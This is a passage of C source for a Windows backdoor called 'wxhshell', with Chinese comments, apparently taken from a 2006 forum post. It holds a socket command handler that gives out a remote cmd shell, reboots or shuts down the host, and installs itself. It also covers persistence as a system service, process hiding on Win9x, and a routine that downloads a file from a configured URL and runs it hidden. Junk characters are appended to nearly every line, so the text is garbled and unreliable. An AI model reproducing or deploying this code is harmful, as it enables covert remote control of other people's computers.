    switch(cmd[0]) { m4/qxm"Dx:  
  Vm%G q  
  // 帮助 ~F,~^r!Jtu  
  case '?': { '[ #y|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u9"=t  
    break; 7P<VtS  
  } h&'|^;FM  
  // 安装 O*~,L6# }  
  case 'i': { &ksuk9M  
    if(Install()) D;R~!3f./b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y9^l|,bm5  
    else kE:[6reG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a}y b~:TC  
    break; 16L YVvmW  
    } q/b+V)V  
  // 卸载 IhNX~Jg'^  
  case 'r': { 5MnP6(3$  
    if(Uninstall()) -.h)CM@L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  vD#U+  
    else (=!At)O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {[!<yUJ`S#  
    break; R/~!km  
    } t.( `$  
  // 显示 wxhshell 所在路径 n#">k%bD  
  case 'p': { 2d .$V,U<  
    char svExeFile[MAX_PATH]; *Ypn@YpSp  
    strcpy(svExeFile,"\n\r"); " aG6u^%  
      strcat(svExeFile,ExeFile); (  cs  
        send(wsh,svExeFile,strlen(svExeFile),0); cr!8Tp;2A  
    break; P*&[9 )d6  
    } 'FXM7D   
  // 重启 aGbG@c8PRi  
  case 'b': { 5SY%B#;5G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bWo  
    if(Boot(REBOOT)) "u6pl);G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rDWAZ<;;  
    else { ogFo/TKM  
    closesocket(wsh); &Sd5]r@+  
    ExitThread(0); ia5%  
    } vqeH<$WHvy  
    break; *p(_="J,  
    } "L~Oj&AN[  
  // 关机 bLg!LZ|S0s  
  case 'd': { U"r*kO%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _WZx].|A=  
    if(Boot(SHUTDOWN)) g7zl5^o3j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 64u(X^i  
    else { G=cRdiy`C  
    closesocket(wsh); t<v.rb  
    ExitThread(0); :`N&BV  
    } 5=?P 6I_$G  
    break; hQ|mow@Zmz  
    } 5k0iVpjQ  
  // 获取shell xrg"/?84  
  case 's': { "B3jq^  
    CmdShell(wsh); AY52j  
    closesocket(wsh); IS]A<}j/-  
    ExitThread(0); SMZ*30i  
    break; p:xyy*I  
  } 2PQBUq  
  // 退出 '/I`dj  
  case 'x': { cNd&C'/N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NZ1B#PG,c  
    CloseIt(wsh); {bXN[=j  
    break; *ak0(yLn)  
    } -9dZT  
  // 离开 (u 7Lh>6%  
  case 'q': { 6y^ zC?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Eh5g/,[  
    closesocket(wsh); +ay C 0  
    WSACleanup(); LaJvPOQ  
    exit(1); 4np2I~ !  
    break; j6l1<3j  
        } %NkiYiA  
  } *y4g\#o.  
  } nuq@m0t\#  
I2/am8!u%  
  // 提示信息 $[X][[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I7U/={[J  
} zbFy3-RP  
  } E3'I;  
Pn9".  
  return; Vo"G@W)lZ  
} r-T1^u  
`<tRfl}qs  
// shell模块句柄 fn<dr(Dx  
int CmdShell(SOCKET sock) JzEg`Sn^  
{ 4pL'c@'  
STARTUPINFO si; :P-H8*n""  
ZeroMemory(&si,sizeof(si)); iFUiw&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3V]dl)en%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }Cu:BD.zQ  
PROCESS_INFORMATION ProcessInfo; OmB M)g  
char cmdline[]="cmd"; q_[y|ETJ]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]+e zg(C}  
  return 0; #K^hKx9  
} 3f5YPf2u  
\IQG%L{  
// 自身启动模式 Uc!k)o#=  
int StartFromService(void) 3N >V sl  
{ W"%n5)  
typedef struct ]2-Qj)mZ]  
{ {m U%.5  
  DWORD ExitStatus; @]Vcl"t  
  DWORD PebBaseAddress; sO ) H#G  
  DWORD AffinityMask; |}d^lQ9  
  DWORD BasePriority; eztK`_n  
  ULONG UniqueProcessId; QuS=^,]  
  ULONG InheritedFromUniqueProcessId; 9po=[{Bp  
}   PROCESS_BASIC_INFORMATION; {e&fBX6;  
_gVihu  
PROCNTQSIP NtQueryInformationProcess; ;.jj>1=Tnl  
R_j.k3r4d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KOg,V_(I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o135Xh$_>'  
i5r<CxS  
  HANDLE             hProcess; rTR$\ [C  
  PROCESS_BASIC_INFORMATION pbi; Cj#wY  
<J d!`$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jIaaNO)  
  if(NULL == hInst ) return 0; /cClV"S*G  
N%Bl+7,q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B\ 'rxbH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7z$53z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Qt[cW  
D<v< :  
  if (!NtQueryInformationProcess) return 0; :'r* 5EX  
k:n{AoUc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L/fXP@u  
  if(!hProcess) return 0; ;*rGZ?%*  
V(cU/Aia^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l8E))oz1T  
t5 >ma:^j  
  CloseHandle(hProcess); q2#Ebw %]  
%rB,Gl:)g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1a9' *[  
if(hProcess==NULL) return 0; [`tOhL  
8@vq.z}  
HMODULE hMod; :#vA5kC  
char procName[255]; 1o5kP,)  
unsigned long cbNeeded; < R"Y^]P=  
PoZ$3V$(Lz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fKEDe>B5  
%(s|  
  CloseHandle(hProcess); =X(N+(1~  
yPfx!9B  
if(strstr(procName,"services")) return 1; // 以服务启动 yuC"V'  
`/1rZ#  
  return 0; // 注册表启动 <nJGJ5JJ  
} QH><! sa  
VP< zOk7  
// 主模块 1]>JMh%X9t  
int StartWxhshell(LPSTR lpCmdLine) _9D]1f=&  
{ e3n^$'/\r  
  SOCKET wsl; &LM@xt4"^[  
BOOL val=TRUE; \ MuKS4  
  int port=0; #HL$`&m  
  struct sockaddr_in door; 0qR#o/~I  
W+u@UJi  
  if(wscfg.ws_autoins) Install(); @j\;9>I/  
;|T|*0vY[  
port=atoi(lpCmdLine); Z^]Oic/0Oa  
&K!0yR  
if(port<=0) port=wscfg.ws_port; _&(Wz0  
8r}tf3xMCM  
  WSADATA data; %^W(sB$b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^XyC[ G@[  
&7kLSb&|;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bZSt<cH3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =?L16mu1&  
  door.sin_family = AF_INET; )%/ Ni^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $o9^b Z  
  door.sin_port = htons(port); :hO B  
y<gRl/e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '3^_:E5y  
closesocket(wsl); c-zW 2;|61  
return 1; jB -A d8  
} D7R;IA-w  
0<A*I{,4L  
  if(listen(wsl,2) == INVALID_SOCKET) { fC"? r6d  
closesocket(wsl); <> HI(6\@Z  
return 1; D0\*WK$  
} %>nAPO+e  
  Wxhshell(wsl); F6{ O  
  WSACleanup(); W SvhC  
aIT0t0.  
return 0; v3~`1MM  
r *N@%T  
} 6I~M8Lo ;  
NWwKp?  
// 以NT服务方式启动 ^Gbcs l~Gj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9XUYy2{G  
{ Fbotn(\h@  
DWORD   status = 0; %N\45nYU:  
  DWORD   specificError = 0xfffffff; !*^+7M  
e}gGl<((g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {'P?wv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \Ogs]4   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E08!a  
  serviceStatus.dwWin32ExitCode     = 0; r 'ioH"=  
  serviceStatus.dwServiceSpecificExitCode = 0; 1=_?Wg:   
  serviceStatus.dwCheckPoint       = 0; 4 J9Y  
  serviceStatus.dwWaitHint       = 0; >]Mhkf/=)  
Ye^#]%m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yh,,(V6  
  if (hServiceStatusHandle==0) return; aEUEy:.  
heES [  
status = GetLastError(); =J-&usX  
  if (status!=NO_ERROR) % T$!I(L&  
{ *ax&}AHK[/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }uD*\.  
    serviceStatus.dwCheckPoint       = 0; ZDK+>^A)  
    serviceStatus.dwWaitHint       = 0; FKtCUq,:  
    serviceStatus.dwWin32ExitCode     = status; CW@EQ3y0  
    serviceStatus.dwServiceSpecificExitCode = specificError;  1A]   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c[6<UkH7  
    return; z/o&r`no  
  } 22d>\u+c  
Yg!fEopLb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GOCe&?  
  serviceStatus.dwCheckPoint       = 0; k:U%#rb;  
  serviceStatus.dwWaitHint       = 0; pcQzvLk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0CeBU(U+|R  
} NljcHe}Qy  
 ^AwDZX  
// 处理NT服务事件,比如:启动、停止 @ uL4'@Ej  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9$sx+=(  
{ [2!?pVI  
switch(fdwControl) *[3tGiUJ  
{ G`v(4`tA  
case SERVICE_CONTROL_STOP: uMFV^&ZF  
  serviceStatus.dwWin32ExitCode = 0; BC%V<6JBu(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Zq_zvKUt  
  serviceStatus.dwCheckPoint   = 0; ;k1VY Ie}  
  serviceStatus.dwWaitHint     = 0; #%CB`l  
  { <7%#RJwe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (^|vN ;  
  } 0;5qo~1  
  return; utdus:B#0  
case SERVICE_CONTROL_PAUSE: 0d,&)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |@D%y&  
  break; CrGDo9JdvT  
case SERVICE_CONTROL_CONTINUE: U4NA'1yo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; + VhD]!  
  break; N@? z&urQi  
case SERVICE_CONTROL_INTERROGATE: R"`<ZY6(Ou  
  break; 0$R}_Ok  
}; Nk\/lK\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I~M@v59C  
} F{17K$y  
X5)].[d  
// 标准应用程序主函数 yEL5U{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8(@(G_skp  
{ =6, w~|W  
p^QppM94  
// 获取操作系统版本 M;X}v#l|XI  
OsIsNt=GetOsVer(); VPDd*32HC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U7xQ 5lph  
- [vH4~  
  // 从命令行安装 2,6|l.WFpE  
  if(strpbrk(lpCmdLine,"iI")) Install(); CVgVyy^  
%\ !3tN  
  // 下载执行文件 4:s!mHcz  
if(wscfg.ws_downexe) { IDt7KJ@hc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ ojV8  
  WinExec(wscfg.ws_filenam,SW_HIDE); &~N@M!`Dn  
} kSqMI'89  
UTxqqcqEny  
if(!OsIsNt) { y=e|W=<D&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tml>>O  
HideProc(); hLSas#B>  
StartWxhshell(lpCmdLine); LyT[  
} pTcN8E&Unz  
else D7,{p2<2T  
  if(StartFromService()) WD'[|s\  
  // 以服务方式启动 m@c\<-P  
  StartServiceCtrlDispatcher(DispatchTable); /80RO:'7  
else \ci[<CP  
  // 普通方式启动 =(as{,j  
  StartWxhshell(lpCmdLine); c ^+{YH;k  
}C{wGK+o[  
return 0; -]Q6Ril  
}
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只看该作者 1 发表于: 2006-10-10
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